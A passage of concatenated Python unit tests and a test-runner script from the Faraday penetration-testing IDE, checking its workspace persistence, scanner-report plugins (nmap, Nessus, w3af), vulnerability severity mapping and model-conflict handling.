245 'parent': '123',
246 }
247 fsConnector.saveDocument(doc)
248
249 ids = fsConnector.getDocsByFilter(parentId='123', type='child')
250
251 self.assertEquals(
252 len(ids),
253 2,
254 "There should be two 'childs' with parent '123'")
255
256 self.assertIn(
257 '456',
258 ids,
259 "Child '456' should be in the list of childs")
260
261 self.assertIn(
262 '789',
263 ids,
264 "Child '789' should be in the list of childs")
265
266 ids = fsConnector.getDocsByFilter(parentId='123', type='son')
267
268 self.assertEquals(
269 len(ids),
270 0,
271 "There shouldn't be any 'son' with parent '123'")
272
273 ids = fsConnector.getDocsByFilter(parentId='456', type='child')
274
275 self.assertEquals(
276 len(ids),
277 0,
278 "There shouldn't be any 'child' with parent '456'")
279
280 if __name__ == '__main__':
281 unittest.main()
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 '''
4 Faraday Penetration Test IDE - Community Version
5 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
6 See the file 'doc/LICENSE' for the license information
7
8 '''
9
10 import unittest
11 import sys
12 import os
13 sys.path.append(os.path.abspath(os.getcwd()))
14 import random
15 from couchdbkit import Server
16
17 from persistence.persistence_managers import CouchDbManager, FileSystemManager
18
19 from config.configuration import getInstanceConfiguration
20 CONF = getInstanceConfiguration()
21
22
23 def new_random_workspace_name():
24 return ("aworkspace" + "".join(random.sample([chr(i) for i in range(65, 90)], 10))).lower()
25
26
27 class CouchDbManagerTestSuite(unittest.TestCase):
28 def setUp(self):
29 self.dbname = new_random_workspace_name()
30
31 def tearDown(self):
32 server = Server(uri=CONF.getCouchURI())
33 if self.dbname in server.all_dbs():
34 server.delete_db(self.dbname)
35
36 def test_create_and_get_db(self):
37 couch_manager = CouchDbManager(uri=CONF.getCouchURI())
38 couch_manager.createDb(self.dbname)
39
40 self.assertNotEquals(
41 couch_manager.getDb(self.dbname),
42 None,
43 "Db %s shouldn't be None" % self.dbname)
44
45 server = Server(uri=CONF.getCouchURI())
46 self.assertIn(
47 self.dbname,
48 server.all_dbs(),
49 "Db %s should be in the db list" % self.dbname)
50
51 def test_delete_db(self):
52 couch_manager = CouchDbManager(uri=CONF.getCouchURI())
53 couch_manager.createDb(self.dbname)
54
55 self.assertNotEquals(
56 couch_manager.getDb(self.dbname),
57 None,
58 "Db %s shouldn't be None" % self.dbname)
59
60 couch_manager.deleteDb(self.dbname)
61 self.assertEquals(
62 couch_manager.getDb(self.dbname),
63 None,
64 "Db %s should be None" % self.dbname)
65
66 server = Server(uri=CONF.getCouchURI())
67 self.assertNotIn(
68 self.dbname,
69 server.all_dbs(),
70 "Db %s shouldn't be in the db list" % self.dbname)
71
72
73 if __name__ == '__main__':
74 unittest.main()
0 #!/usr/bin/python
1
2 '''
3 Faraday Penetration Test IDE - Community Version
4 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
5 See the file 'doc/LICENSE' for the license information
6
7 '''
8
9 from unittest import TestCase
10 import unittest
11 import sys
12 sys.path.append('.')
13 import model.controller as controller
14 from mockito import mock, when
15 from model import api
16 from plugins.core import PluginBase, PluginController
17 from model.workspace import Workspace
18 from model.container import ModelObjectContainer
19 from managers.all import CommandManager
20 from time import time
21 from model.commands_history import CommandRunInformation
22
23
24 class TestPluginCreateModelObject(TestCase):
25 """docstring for TestModelObjectCRUD"""
26 def setUp(self):
27 self._model_controller = controller.ModelController(mock())
28 self.cm = mock(CommandManager)
29 when(self.cm).saveCommand().thenReturn(True)
30 self._plugin_controller = PluginController("test", {}, self.cm)
31
32 class PluginTest(PluginBase):
33 def __init__(self):
34 PluginBase.__init__(self)
35 self.id = "Test"
36 self.name = "Test"
37
38 def parseOutputString(self, output, debug=False):
39 pass
40
41 self.workspace = mock(Workspace)
42 when(self.workspace).getContainee().thenReturn(ModelObjectContainer())
43 self._model_controller.setWorkspace(self.workspace)
44
45 self.plugin = PluginTest()
46 api.setUpAPIs(self._model_controller)
47
48 self._plugin_controller.setActivePlugin(self.plugin)
49 self.cmdinfo = CommandRunInformation(
50 **{'workspace': 'test',
51 'itime': time(),
52 'command': 'test',
53 'params': 'test'})
54
55 def test_create_host(self):
56 """
57 Testing the creation of one host
58 """
59 h = self.plugin.createAndAddHost("pepito", "linux")
60 self._plugin_controller.last_command_information = self.cmdinfo
61 self._plugin_controller.onCommandFinished()
62 self._model_controller.processAllPendingActions()
63
64 self.assertTrue(h is not None, "host should have an ID")
65 self.assertTrue(len(self._model_controller.getAllHosts()) == 1, "The controller should have one host")
66 self.assertTrue(self._model_controller.getHost(h) is not None, "The host should be in the controller")
67
68 def test_create_same_host_two_times(self):
69 """
70 Testing the creation of the same host, two times.
71 This simulates two plugins creating the host with the same name
72 We should end up with just one host in the controller
73 """
74 h1 = self.plugin.createAndAddHost("pepito", "linux")
75 h2 = self.plugin.createAndAddHost("pepito", "linux")
76 self._plugin_controller.last_command_information = self.cmdinfo
77 self._plugin_controller.onCommandFinished()
78 self._model_controller.processAllPendingActions()
79
80 self.assertTrue(len(self._model_controller.getAllHosts()) == 1, "The controller should have just one host")
81 self.assertTrue(self._model_controller.getHost(h1) == self._model_controller.getHost(h2), "The host should be the same")
82
83 def test_create_host_with_interface(self):
84 """
85 Testing the creation of one host, with one interface
86 """
87 h = self.plugin.createAndAddHost("pepito", "linux")
88 i = self.plugin.createAndAddInterface(h, "1.2.3.4")
89 self._plugin_controller.last_command_information = self.cmdinfo
90 self._plugin_controller.onCommandFinished()
91 self._model_controller.processAllPendingActions()
92
93 self.assertTrue(i is not None, "interface should have an ID")
94 host = self._model_controller.getHost(h)
95 self.assertTrue(len(host.getAllInterfaces()) == 1, "Host should have one interface")
96 self.assertTrue(host.getInterface(i) is not None, "The interface should be the one we've just create")
97
98 def test_create_interface_two_times(self):
99 """
100 Testing the creation of the same interface, two times.
101 This simulates two plugins creating the host with the same interface
102 We should end up with just one interface in that host
103 """
104 h1 = self.plugin.createAndAddHost("pepito", "linux")
105 i1 = self.plugin.createAndAddInterface(h1, "1.2.3.4")
106
107 h2 = self.plugin.createAndAddHost("pepito", "linux")
108 i2 = self.plugin.createAndAddInterface(h2, "1.2.3.4")
109
110 self._plugin_controller.last_command_information = self.cmdinfo
111 self._plugin_controller.onCommandFinished()
112 self._model_controller.processAllPendingActions()
113
114 self.assertTrue(len(self._model_controller.getAllHosts()) == 1, "The controller should have just one host")
115 self.assertTrue(len(self._model_controller.getHost(h1).getAllInterfaces()) == 1, "The host should have just one interface")
116
117 def test_create_host_with_interface_with_service(self):
118 """
119 Testing the creation of one host, with one interface and one service on that interface
120 """
121 h = self.plugin.createAndAddHost("pepito", "linux")
122 i = self.plugin.createAndAddInterface(h, "1.2.3.4")
123 s = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['80'])
124 self._plugin_controller.last_command_information = self.cmdinfo
125 self._plugin_controller.onCommandFinished()
126 self._model_controller.processAllPendingActions()
127
128 host = self._model_controller.getHost(h)
129 interface = host.getInterface(i)
130 self.assertTrue(len(interface.getAllServices()) == 1, "The interface should have just one service")
131 self.assertTrue(interface.getService(s) is not None, "The service should be the one we've just create")
132
133 def test_create_two_services_different_names_equal_port(self):
134 """
135 Testing the creation of two services with different names but same protocol and port
136 The result should only one services being created, since both have the same id
137 """
138 h = self.plugin.createAndAddHost("pepito", "linux")
139 i = self.plugin.createAndAddInterface(h, "1.2.3.4")
140 s1 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['80'])
141 s2 = self.plugin.createAndAddServiceToInterface(h, i, "test", protocol="tcp", ports=['80'])
142 self._plugin_controller.last_command_information = self.cmdinfo
143 self._plugin_controller.onCommandFinished()
144 self._model_controller.processAllPendingActions()
145
146 host = self._model_controller.getHost(h)
147 interface = host.getInterface(i)
148 self.assertEqual(s1, s2, "Both services should have the same id")
149 self.assertTrue(len(interface.getAllServices()) == 1, "The interface should have just one service")
150
151 def test_create_two_services_same_names_different_port(self):
152 """
153 Testing the creation of two services with same names but different port
154 The result should only two services being created, since both have the different ids
155 """
156 h = self.plugin.createAndAddHost("pepito", "linux")
157 i = self.plugin.createAndAddInterface(h, "1.2.3.4")
158 s1 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['80'])
159 s2 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['443'])
160 self._plugin_controller.last_command_information = self.cmdinfo
161 self._plugin_controller.onCommandFinished()
162 self._model_controller.processAllPendingActions()
163
164 host = self._model_controller.getHost(h)
165 interface = host.getInterface(i)
166 self.assertNotEqual(s1, s2, "Both services should have the same id")
167 self.assertTrue(len(interface.getAllServices()) == 2, "The interface should have two services")
168
169 def test_create_vuln_to_service(self):
170 """
171 Testing the creation of a vuln to a service
172 """
173 h = self.plugin.createAndAddHost("pepito", "linux")
174 i = self.plugin.createAndAddInterface(h, "1.2.3.4")
175 s1 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['80'])
176 s2 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['443'])
177 v = self.plugin.createAndAddVulnToService(h, s1, "vuln1", "descripcion")
178 self._plugin_controller.last_command_information = self.cmdinfo
179 self._plugin_controller.onCommandFinished()
180 self._model_controller.processAllPendingActions()
181
182 host = self._model_controller.getHost(h)
183 interface = host.getInterface(i)
184 service1 = interface.getService(s1)
185 service2 = interface.getService(s2)
186 self.assertTrue(len(service1.getVulns()) == 1, "The service should have one vuln")
187 self.assertTrue(service1.getVuln(v) is not None, "The vuln should be the one we've just create")
188 self.assertTrue(len(service2.getVulns()) == 0, "The service should't have any vuln")
189
190 def test_create_note_to_service(self):
191 """
192 Testing the creation of a vuln to a service
193 """
194 h = self.plugin.createAndAddHost("pepito", "linux")
195 i = self.plugin.createAndAddInterface(h, "1.2.3.4")
196 s1 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['80'])
197 s2 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['443'])
198 n = self.plugin.createAndAddNoteToService(h, s1, "note1", "desc1")
199 self._plugin_controller.last_command_information = self.cmdinfo
200 self._plugin_controller.onCommandFinished()
201 self._model_controller.processAllPendingActions()
202
203 host = self._model_controller.getHost(h)
204 interface = host.getInterface(i)
205 service1 = interface.getService(s1)
206 service2 = interface.getService(s2)
207 self.assertTrue(len(service1.getNotes()) == 1, "The service should have one vuln")
208 self.assertTrue(service1.getNote(n) is not None, "The vuln should be the one we've just create")
209 self.assertTrue(len(service2.getNotes()) == 0, "The service should't have any vuln")
210
211 def test_create_note_to_note_service(self):
212 """
213 Testing the creation of a vuln to a service
214 """
215 h = self.plugin.createAndAddHost("pepito", "linux")
216 i = self.plugin.createAndAddInterface(h, "1.2.3.4")
217 s1 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['80'])
218 s2 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['443'])
219 n = self.plugin.createAndAddNoteToService(h, s1, "note1", "desc1")
220 n2 = self.plugin.createAndAddNoteToNote(h, s1, n, "note2", "desc2")
221 self._plugin_controller.last_command_information = self.cmdinfo
222 self._plugin_controller.onCommandFinished()
223 self._model_controller.processAllPendingActions()
224
225 host = self._model_controller.getHost(h)
226 interface = host.getInterface(i)
227 service1 = interface.getService(s1)
228 service2 = interface.getService(s2)
229 note1 = service1.getNote(n)
230 self.assertTrue(service1.getNote(n) is not None, "The note should be the one we've just create")
231 self.assertTrue(len(note1.getNotes()) == 1, "The note should have a nested note")
232
233 def test_create_cred_to_service(self):
234 """
235 Testing the creation of a vuln to a service
236 """
237 h = self.plugin.createAndAddHost("pepito", "linux")
238 i = self.plugin.createAndAddInterface(h, "1.2.3.4")
239 s1 = self.plugin.createAndAddServiceToInterface(h, i, "unknown", protocol="tcp", ports=['80'])
240 c = self.plugin.createAndAddCredToService(h, s1, "user", "pass")
241 self._plugin_controller.last_command_information = self.cmdinfo
242 self._plugin_controller.onCommandFinished()
243 self._model_controller.processAllPendingActions()
244
245 host = self._model_controller.getHost(h)
246 interface = host.getInterface(i)
247 service1 = interface.getService(s1)
248 cred = service1.getCred(c)
249 self.assertTrue(service1.getCred(c) is not None, "The cred should be the one we've just create")
250 self.assertTrue(len(service1.getCreds()) == 1, "The service should have a nested note")
251
252 if __name__ == '__main__':
253 unittest.main()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import unittest
7 import sys
8 import os
9 sys.path.append('.')
10 import model.controller as controller
11 from model.workspace import Workspace
12 from model.container import ModelObjectContainer
13 import model.api as api
14 #from model import controller
15 #from model import api
16 from managers.model_managers import WorkspaceManager
17 from plugins.repo.nmap import plugin as nmap_plugin
18 from plugins.repo.nessus import plugin as nessus_plugin
19 from plugins.core import PluginControllerForApi
20 from mockito import mock, when, any
21
22 from persistence.persistence_managers import DBTYPE
23
24 from managers.mapper_manager import MapperManager
25 from managers.reports_managers import ReportManager
26 from persistence.persistence_managers import DbManager
27
28 class PluginsToModelControllerIntegration(unittest.TestCase):
29
30 def setUp(self):
31 """
32 Generic test to verify that the object exists and can be
33 instantiated without problems.
34 """
35 self.dbManager = mock()
36 self.changesController = mock()
37 self.reportManager = mock()
38
39 self.dbManager = DbManager()
40 self.mappersManager = MapperManager()
41
42 self.model_controller = controller.ModelController(mock(), self.mappersManager)
43 self.workspace_manager = WorkspaceManager(self.dbManager,
44 self.mappersManager,
45 self.changesController,
46 self.reportManager)
47 self.workspace_manager.createWorkspace('temp_workspace', 'desc', DBTYPE.FS)
48 self.workspace_manager.openWorkspace('temp_workspace')
49
50 self._plugin_controller = PluginControllerForApi("test", {"nmap": nmap_plugin.NmapPlugin(),
51 "nessus": nessus_plugin.NessusPlugin()}, mock())
52
53 api.setUpAPIs(self.model_controller, self.workspace_manager)
54
55 def tearDown(self):
56 self.workspace_manager.removeWorkspace('temp_workspace')
57
58 def test_nmap_scan_saves_host(self):
59 output_file = open(os.path.join(os.getcwd(), 'test_cases/data/nmap_plugin_with_api.xml'))
60 output = output_file.read()
61 self._plugin_controller.processCommandInput("nmap localhost")
62 self._plugin_controller.onCommandFinished("nmap localhost", output)
63 self.model_controller.processAllPendingActions()
64 self.assertEquals(len(self.model_controller.getAllHosts()), 1,
65 "Not all hosts added to model")
66
67 host = self.model_controller.getAllHosts()[0]
68 self.assertEquals(len(host.getAllInterfaces()), 1,
69 "Not all interfaces added to model")
70
71 interface = host.getAllInterfaces()[0]
72 self.assertEquals(len(interface.getAllServices()), 3,
73 "Not all services added to model")
74
75 services = interface.getAllServices()
76 self.assertTrue(all( [ s.getStatus() == 'open' for s in services]),
77 "Port status not saved correctly")
78
79
80 def test_nessus_scan_saves_host(self):
81 output_file = open(os.path.join(os.getcwd(), 'test_cases/data/nessus_plugin_with_api.nessus'))
82 output = output_file.read()
83 self._plugin_controller.processCommandInput("./nessus report")
84 self._plugin_controller.onCommandFinished("./nessus report", output)
85 self.model_controller.processAllPendingActions()
86 self.assertEquals(len(self.model_controller.getAllHosts()), 7,
87 "Not all hosts added to model")
88
89 if __name__ == '__main__':
90 unittest.main()
0 #!/usr/bin/python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 import unittest
8 import sys
9 sys.path.append('.')
10
11 from config.configuration import getInstanceConfiguration
12 from model.workspace import Workspace
13 from managers.reports_managers import ReportManager, NoReportsWatchException
14
15 from persistence.persistence_managers import DBTYPE
16 from mockito import mock, verify, when, any
17 CONF = getInstanceConfiguration()
18
19 from test_cases import common
20
21 class UnitTestWorkspaceManager(unittest.TestCase):
22 def testCreateReportManager(self):
23 timer = 10
24 report_manager = ReportManager(timer, mock())
25
26 self.assertIsNotNone(report_manager)
27
28 def testWatchReportPath(self):
29 import os.path
30 import os
31 workspace_name = common.new_random_workspace_name()
32 timer = 10
33
34 report_manager = ReportManager(timer, mock())
35 report_manager.watch(workspace_name)
36
37 self.assertTrue(os.path.exists(os.path.join(CONF.getReportPath(),
38 workspace_name)), 'Report directory not found')
39
40 def testStartReportNoPathRunsException(self):
41 report_manager = ReportManager(0, mock())
42 self.assertRaises(NoReportsWatchException, report_manager.startWatch)
43
44 if __name__ == '__main__':
45 unittest.main()
46
0 #!/usr/bin/env sh
1 cd ..
2 # nosetests2 --no-byte-compile --with-coverage --cover-html --cover-html-dir=cover --cover-package=auth --cover-package=bin --cover-package=config --cover-package=exporters --cover-package=external --cover-package=gui --cover-package=managers --cover-package=model --cover-package=persistence --cover-package=plugins --cover-package=shell --cover-package=utils test_cases/model_controller.py
3 # nosetests2 --no-byte-compile --with-coverage --cover-html --cover-html-dir=cover --cover-package=auth --cover-package=bin --cover-package=config --cover-package=exporters --cover-package=external --cover-package=gui --cover-package=managers --cover-package=model --cover-package=persistence --cover-package=plugins --cover-package=shell --cover-package=utils test_cases/model_controller.py
4 # nosetests2 --with-coverage --cover-html --cover-html-dir=cover --cover-package=model test_cases/*.py
5 nosetests2 --ignore-files='.*dont_run_rest_controller_apis.*' --no-byte-compile -v `find test_cases -name '*.py' | grep -v dont_run`
6
0 #!/usr/bin/python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import unittest
9 import sys
10 sys.path.append('.')
11 import model.controller
12 import managers.mapper_manager
13 from mockito import mock
14 from persistence.mappers.abstract_mapper import NullPersistenceManager
15 from model.hosts import Host
16 from model.diff import ModelObjectDiff
17
18 import test_cases.common as test_utils
19
20
21 class DiffTests(unittest.TestCase):
22
23 def setUp(self):
24 pass
25
26 def tearDown(self):
27 pass
28
29 def test_diff_between_equal_hosts(self):
30 """
31 This test case creates a host and the compares it
32 with another equal host using the ModelObjectDiff class
33 """
34 h1 = Host(name='host1', os='Windows')
35 h2 = Host(name='host1', os='Windows')
36
37 diff = ModelObjectDiff(h1, h2)
38
39 self.assertFalse(diff.existDiff())
40
41 def test_diff_between_different_hosts(self):
42 """
43 This test case creates a host and the compares it
44 with another different host using the ModelObjectDiff class
45 """
46 h1 = Host(name='host1', os='Windows')
47 h2 = Host(name='host1', os='Linux')
48
49 diff = ModelObjectDiff(h1, h2)
50
51 self.assertTrue(diff.existDiff())
52
53
54 class UpdatesTests(unittest.TestCase):
55
56 def setUp(self):
57 self._mappers_manager = managers.mapper_manager.MapperManager()
58 self._persistence_manager = NullPersistenceManager()
59 self._mappers_manager.createMappers(self._persistence_manager)
60 self.model_controller = model.controller.ModelController(
61 mock(), self._mappers_manager)
62
63 def tearDown(self):
64 pass
65
66 def test_add_host_and_generate_solvable_update(self):
67 """
68 This test case creates a host within the Model Controller context
69 and then creates another with the same key elements, but different
70 non-key attributes with default value to generate an automatic
71 solvable update
72 """
73 # When
74 hostname = 'host'
75 host1a = test_utils.create_host(self, host_name=hostname, os='windows')
76
77 host = self._mappers_manager.find(host1a.getID())
78 self.assertEquals(
79 host.getOS(),
80 'windows',
81 'Host\'s OS should be windows')
82
83 # Then, we generate an update
84 host1b = test_utils.create_host(self, host_name=hostname, os='unknown')
85
86 self.assertEquals(
87 host1a.getID(),
88 host1b.getID(),
89 'Both hosts should have the same id')
90
91 self.assertEquals(
92 len(self.model_controller.getConflicts()),
93 0,
94 'Update was generated')
95
96 host = self._mappers_manager.find(host1a.getID())
97
98 self.assertEquals(
99 host.getOS(),
100 'windows',
101 'Host\'s OS should still be windows')
102
103 def test_add_host_and_generate_solvable_update_with_edition(self):
104 """
105 This test case creates a host with a default value in a non-key
106 attrribute within the Model Controller context and then creates
107 another with the same key elements, but different non-key
108 attributes to generate an automatic solvable update
109 """
110 # When
111 hostname = 'host'
112 host1a = test_utils.create_host(self, host_name=hostname, os='unknown')
113
114 host = self._mappers_manager.find(host1a.getID())
115
116 self.assertEquals(
117 host.getOS(),
118 'unknown',
119 'Host\'s OS should be unknown')
120
121 # Then, we generate an update
122 host1b = test_utils.create_host(self, host_name=hostname, os='windows')
123
124 self.assertEquals(
125 host1a.getID(),
126 host1b.getID(),
127 'Both hosts should have the same id')
128
129 self.assertEquals(
130 len(self.model_controller.getConflicts()),
131 0,
132 'Update was generated')
133
134 host = self._mappers_manager.find(host1a.getID())
135
136 self.assertEquals(
137 host.getOS(),
138 'windows',
139 'Host\'s OS should now be windows')
140
141 def test_add_host_and_generate_unsolvable_update(self):
142 """
143 This test case creates a host within the Model Controller
144 context and then creates another with the same key elements,
145 but different non-key attributes to generate an update to
146 be resolved by the user
147 """
148 # When
149 hostname = 'host'
150 host1a = test_utils.create_host(self, host_name=hostname, os='windows')
151
152 host = self._mappers_manager.find(host1a.getID())
153
154 self.assertEquals(
155 host.getOS(),
156 'windows',
157 'Host\'s OS should be windows')
158
159 # Then, we generate an update
160 host1b = test_utils.create_host(self, host_name=hostname, os='linux')
161
162 self.assertEquals(
163 host1a.getID(),
164 host1b.getID(),
165 'Both hosts should have the same id')
166
167 self.assertEquals(
168 len(self.model_controller.getConflicts()),
169 1,
170 'Update was not generated')
171
172 host = self._mappers_manager.find(host1a.getID())
173
174 self.assertEquals(
175 host.getOS(),
176 'windows',
177 'Host\'s OS should still be windows')
178
179 self.assertEquals(
180 len(host.getUpdates()),
181 1,
182 'The host should have a pending update')
183
184
185 if __name__ == '__main__':
186 unittest.main()
0 #!/usr/bin/python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 from unittest import TestCase
8 import unittest
9 import sys
10 sys.path.append('.')
11 import model.controller as controller
12 import plugins.core as plcore
13 from mockito import mock
14 from model import api
15 from model.hosts import Host, Interface, Service
16 from managers.model_managers import WorkspaceManager
17 from model.common import ModelObjectVuln, ModelObjectVulnWeb
18 from persistence.orm import WorkspacePersister
19 import random
20 from persistence.orm import WorkspacePersister
21
22
23 class VulnerabilityCreationTests(unittest.TestCase):
24
25 def testStandarizeNumericVulnSeverity(self):
26 """ Verifies numeric severity transformed into 'info, low, high,
27 critical' severity"""
28
29 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
30 severity=0)
31
32 self.assertEquals(vuln.severity, 'info',
33 'Vulnerability severity not transformed correctly')
34
35 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
36 severity=1)
37
38 self.assertEquals(vuln.severity, 'low',
39 'Vulnerability severity not transformed correctly')
40
41 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
42 severity=2)
43
44 self.assertEquals(vuln.severity, 'med',
45 'Vulnerability severity not transformed correctly')
46
47 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
48 severity=3)
49
50 self.assertEquals(vuln.severity, 'high',
51 'Vulnerability severity not transformed correctly')
52
53 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
54 severity=4)
55
56 self.assertEquals(vuln.severity, 'critical',
57 'Vulnerability severity not transformed correctly')
58
59
60 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
61 severity=5)
62
63 self.assertEquals(vuln.severity, 'unclassified',
64 'Vulnerability severity not transformed correctly')
65
66 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
67 severity=-1)
68
69 self.assertEquals(vuln.severity, 'unclassified',
70 'Vulnerability severity not transformed correctly')
71
72 def testStandarizeShortnameVulnSeverity(self):
73 """ Verifies longname severity transformed into 'info, low, high,
74 critical' severity (informational -> info)"""
75
76 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
77 severity='informational')
78
79 self.assertEquals(vuln.severity, 'info',
80 'Vulnerability severity not transformed correctly')
81
82 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
83 severity='medium')
84
85 self.assertEquals(vuln.severity, 'med',
86 'Vulnerability severity not transformed correctly')
87
88 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
89 severity='highest')
90
91 self.assertEquals(vuln.severity, 'high',
92 'Vulnerability severity not transformed correctly')
93
94 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
95 severity='criticalosiuos')
96
97 self.assertEquals(vuln.severity, 'critical',
98 'Vulnerability severity not transformed correctly')
99
100 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
101 severity='tuvieja')
102
103 self.assertEquals(vuln.severity, 'unclassified',
104 'Vulnerability severity not transformed correctly')
105
106 def testStandarizeUpdatedSeverity(self):
107 vuln = ModelObjectVuln(name='VulnTest', desc='TestDescription',
108 severity='informational')
109
110 self.assertEquals(vuln.severity, 'info',
111 'Vulnerability severity not transformed correctly')
112
113 vuln.updateAttributes(severity='3')
114 self.assertEquals(vuln.severity, 'high',
115 'Vulnerability severity not transformed correctly')
116
117
118
119 if __name__ == '__main__':
120 unittest.main()
121
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import unittest
7 import sys
8 import os
9 sys.path.append('.')
10 import model.controller as controller
11 from model.workspace import Workspace
12 from model.container import ModelObjectContainer
13 import model.api as api
14 #from model import controller
15 #from model import api
16 from plugins.repo.w3af import plugin
17 from plugins.core import PluginControllerForApi
18 from mockito import mock, when
19 from managers.all import CommandManager
20
21
22 class W3afPluginTest(unittest.TestCase):
23
24 def setUp(self):
25 """
26 Generic test to verify that the object exists and can be
27 instantiated without problems.
28 """
29 self.model_controller = controller.ModelController(mock())
30 self.workspace = mock(Workspace)
31 when(self.workspace).getContainee().thenReturn(ModelObjectContainer())
32 self.cm = mock(CommandManager)
33 when(self.cm).saveCommand().thenReturn(True)
34 self.model_controller.setWorkspace(self.workspace)
35 self._plugin_controller = PluginControllerForApi("test", {"w3af": plugin.W3afPlugin()}, self.cm)
36 api.setUpAPIs(self.model_controller)
37
38 def test_report(self):
39 output_file = open(os.path.join(os.getcwd(), 'test_cases/data/w3af_plugin_with_api.xml'))
40 output = output_file.read()
41 self._plugin_controller.processCommandInput("./w3af report")
42 self._plugin_controller.onCommandFinished("./w3af report", output)
43 self.model_controller.processAllPendingActions()
44 self.assertEquals(len(self.model_controller.getAllHosts()), 1,
45 "Not all hosts added to model")
46
47
48 if __name__ == '__main__':
49 unittest.main()
0 #!/usr/bin/python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 import unittest
8 import sys
9 sys.path.append('.')
10
11 from config.configuration import getInstanceConfiguration
12 from model.workspace import Workspace
13 from managers.model_managers import WorkspaceManager
14 from persistence.persistence_managers import DBTYPE
15 from mockito import mock, verify, when, any
16 CONF = getInstanceConfiguration()
17
18 class UnitTestWorkspaceManager(unittest.TestCase):
19 """ Unit tests for WorkspaceManager """
20
21 def testCreateWorkspaceManager(self):
22 workspace_manager = WorkspaceManager(mock(), mock(), mock(), mock())
23 self.assertIsNotNone(workspace_manager)
24
25 def testOpenWorkspaceChangesAndReportManagerWatch(self):
26 reportManager = mock()
27
28 dbManager = mock()
29 mappersManager = mock()
30 dbConnector = mock()
31 mappers = mock()
32 changesController = mock()
33 workspaceMapper = mock()
34
35 workspace = Workspace('test_workspace', 'a desc')
36
37 when(dbManager).getAllDbNames().thenReturn(['test_workspace'])
38 when(dbManager).getConnector('test_workspace').thenReturn(dbConnector)
39 when(mappersManager).createMappers(dbConnector).thenReturn(True)
40 when(mappersManager).getMapper(Workspace.__name__).thenReturn(workspaceMapper)
41 when(workspaceMapper).find('test_workspace').thenReturn(workspace)
42
43 workspace_manager = WorkspaceManager(dbManager,
44 mappersManager,
45 changesController,
46 reportManager)
47
48
49 opened_workspace = workspace_manager.openWorkspace('test_workspace')
50
51 verify(reportManager).watch('test_workspace')
52 verify(changesController).watch(mappersManager, dbConnector)
53 self.assertEquals(opened_workspace.getName(), 'test_workspace')
54
55
56 def testCreateWorkspaceDBManagerInteract(self):
57 dbManager = mock()
58 dbConnector = mock()
59 changesController = mock()
60
61 when(dbManager).createDb('test_workspace', DBTYPE.FS).thenReturn(dbConnector)
62 workspace_manager = WorkspaceManager(dbManager, mock(), changesController, mock())
63 workspace_manager.createWorkspace('test_workspace', 'a test workspace',
64 DBTYPE.FS)
65 verify(dbManager).createDb('test_workspace', DBTYPE.FS)
66
67 def testCreateWorkspaceCreateMappersAndWorkspace(self):
68 dbManager = mock()
69 mappersManager = mock()
70 dbConnector = mock()
71 mappers = mock()
72 changesController = mock()
73 workspaceMapper = mock()
74
75 when(mappersManager).getMapper(Workspace.__name__).thenReturn(workspaceMapper)
76 when(mappersManager).save(any()).thenReturn(True)
77 when(dbManager).createDb('test_workspace', DBTYPE.FS).thenReturn(dbConnector)
78 when(mappersManager).createMappers(dbConnector).thenReturn(True)
79
80 workspace_manager = WorkspaceManager(dbManager, mappersManager, changesController, mock())
81 workspace = workspace_manager.createWorkspace('test_workspace', 'a test workspace',
82 DBTYPE.FS)
83
84 verify(mappersManager).createMappers(dbConnector)
85 verify(mappersManager).save(any())
86
87 self.assertTrue(workspace, 'workspace not instantiated')
88 self.assertEquals(workspace.name, 'test_workspace',
89 'Workspace name not set, is it valid?')
90
91 def testCreateExistingWorkspaceReturnsFalse(self):
92 dbManager = mock()
93 mappersManager = mock()
94 dbConnector = mock()
95 mappers = mock()
96 changesController = mock()
97
98 when(mappersManager).save(any()).thenReturn(True)
99 when(dbManager).createDb('test_workspace', DBTYPE.FS).thenReturn(False)
